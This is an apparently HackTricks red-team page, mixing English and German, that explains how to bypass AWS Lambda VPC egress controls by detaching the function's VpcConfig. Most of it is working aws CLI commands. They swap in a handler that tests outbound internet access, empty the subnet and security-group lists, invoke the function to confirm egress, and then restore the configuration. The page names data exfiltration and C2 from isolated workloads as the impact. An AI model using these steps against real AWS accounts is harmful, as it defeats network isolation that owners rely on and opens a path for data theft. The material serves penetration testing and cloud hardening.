AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.

Ausnutzen

  • Voraussetzungen: lambda:UpdateFunctionConfiguration auf der Ziel-Funktion (und lambda:InvokeFunction zur Validierung), plus Berechtigungen, den Code/Handler zu aktualisieren, falls diese geändert werden.
  • Annahmen: Die Funktion ist aktuell mit einer VpcConfig konfiguriert, die auf private Subnets ohne NAT zeigt (daher ist ausgehender Internetzugang blockiert).
  • Region: us-east-1

Schritte

  1. Bereite einen minimalen Handler vor, der beweist, dass ausgehender HTTP-Verkehr funktioniert

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

  1. Aktuelle VPC-Konfiguration sichern (um sie später bei Bedarf wiederherzustellen)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. VPC trennen, indem leere Listen gesetzt werden

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

  1. Aufrufen und ausgehenden Zugriff überprüfen

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Optional) Ursprüngliche VPC-Konfiguration wiederherstellen

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi

Auswirkungen

  • Stellt für die Funktion uneingeschränkten ausgehenden Internetzugang wieder her, wodurch Datenexfiltration oder C2 von Workloads möglich wird, die absichtlich in privaten Subnets ohne NAT isoliert waren.

Beispielausgabe (nach Entfernen der VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Bereinigung

  • Wenn du temporäre Änderungen am Code/Handler vorgenommen hast, stelle sie wieder her.
  • Optional die ursprüngliche VpcConfig wiederherstellen, die in /tmp/orig-vpc.json gespeichert wurde, wie oben gezeigt.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks